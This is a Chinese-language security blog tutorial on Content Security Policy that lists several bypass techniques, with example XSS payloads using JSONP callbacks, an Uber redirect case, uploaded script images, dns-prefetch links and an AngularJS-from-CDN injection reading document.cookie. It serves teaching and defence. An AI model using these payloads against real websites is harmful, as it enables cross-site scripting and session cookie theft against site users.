Hu3sky's blog

Content Security Policy&Bypass

Word count: 989 / Reading time: 5 min
2019/04/02 Share

Content Security Policy&Bypass

CSP(Content Security Policy),为了缓解很大一部分潜在的跨站脚本问题,浏览器引入了CSP这一策略,告诉了客户端哪些外部资源可以加载和执行,等同于提供了白名单

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机

CSP生成器
CSP安全检测

Use CSP

  1. 通过 HTTP 头信息的Content-Security-Policy的字段。
1
2
3
4
5
//内容源必须为同源或者是 hu3sky.ooo
Content-Security-Policy: default-src 'self' hu3sky.ooo

// 只允许加载当前域的js
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

1

default-src是CSP指令(默认加载策略),多个指令用 ; 分割
script-src(对Javascript的加载策略)

关键字:

  • ‘none’ 代表空集;即不匹配任何 URL。两侧单引号是必须的。
  • ‘self’ 代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的
  • ‘unsafe-inline’ 允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的。
  • ‘unsafe-eval’ 允许使用eval()等通过字符串创建代码的方法。两侧单引号是必须的

1

How To Defence XSS

比如有如下代码

1
2
3
4
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-eval'; script-src 'self' ");
echo $_GET['a'];
?>

1
1

Bypass CSP

Jsonp bypass

例如:在回调函数中包装js对象的jsonp接口通常允许通过第三方域的脚本作为源数据来加载api数据

csp.php

1
2
3
4
<?php
header("Content-Security-Policy: default-src 'self' script-src 'self' ");
echo $_GET['a'];
?>

json_data.php

1
2
3
4
5
6
<?php
setcookie('password','asd-asd-g');
header('Content-type: application/javascript');
$callback = $_GET['callback'];
$data = "{'name':'hu3sky'}";
echo $callback . "(" . json_encode($data) . ")";

当在csp.php请求

1
http://a.hu3sky.com/csp.php?a=%3Cscript%20src=%22http://a.hu3sky.com/json_data.php?callback=alert(document.cookie)%22%20%3E%3C/script%3E

1

Url Redirect + Jsonp bypass

给出一个实例
How I XSS’ed Uber and Bypassed CSP

首先,漏洞发现者在uber找到了一处XSS,不过XSS得绕过CSP。又在https://app-ab19.marketo.com/index.php域下发现了一个jsnop回调的XSS,但是
https://app-ab19.marketo.com/index.php ,并不在CSP范围内,然而巧合的是,CSP范围内的一个站访问后就会重定向到https://app-ab19.marketo.com/index.php 于是最终构造的payload是

1
2

https://partners.uber.com/p3/referrals/ms?i=bq6ew1w9ue&m=ANNIVERSARY&v=1"><script src=”https://mkto.uber.com/index.php/form/getKnownLead?callback=alert(document.domain);"></script>

file upload bypass

如果当前网站有上传的功能,于是我们上传一个图片内容为js,然后再加载该图片就能够执行js了
例如
1
接着,在存在可以引入该资源的地方

1
http://a.hu3sky.com/csp.php?a=%3Cscript%20src=%22upload/eval.jpg%22%3E%3C/script%3E

unsafe-inline bypass

unsafe-inline模式下的bypass

由于<link>标签最新的rel属性dns-prefetch尚未被加入csp实现中

1
<link rel="dns-prefetch" href="http://b.hu3sky.com/eval.js">dns-prefe
1
http://a.hu3sky.com/csp.php?a=%3Clink%20rel=%22dns-prefetch%22%20href=%22http://b.hu3sky.com/eval.js%22%3E

script location

1
a.hu3sky.com/csp.php?a=<script>window.location="http://b.hu3sky.com/eval.js"</script>

CDN bypass

在orange师傅的这篇文章中,https://paper.seebug.org/855/
他发现了HackMD存在的XSS,通过HackMD对注释<!-- -->的信任,去闭合注释标签 造成xss
关键代码
1

1
<!-- foo = "aaa--> <h1>AAA</h1> "-->

不过有CSP需要绕过,HackMD给出的CSP信任名单有一个CDN https://cdnjs.cloudflare.com
最终的攻击代码

1
2
3
<!-- foo="--><script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js></script><div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}</div>
//sssss" -->

Base-uri bypass

https://blog.cal1.cn/post/RCTF%202018%20rBlog%20writeup

CRLF bypass

当存在CRLF的点在csp规则上方
即可插入<script>进行xss
https://github.com/Lou00/HCTF2018_Bottle

Referers

CATALOG
  1. 1. Content Security Policy&Bypass
    1. 1.1. Use CSP
    2. 1.2. How To Defence XSS
    3. 1.3. Bypass CSP
      1. 1.3.1. Jsonp bypass
      2. 1.3.2. Url Redirect + Jsonp bypass
      3. 1.3.3. file upload bypass
      4. 1.3.4. unsafe-inline bypass
        1. 1.3.4.1. link bypass
        2. 1.3.4.2. script location
      5. 1.3.5. CDN bypass
      6. 1.3.6. Base-uri bypass
      7. 1.3.7. CRLF bypass
  2. 2. Referers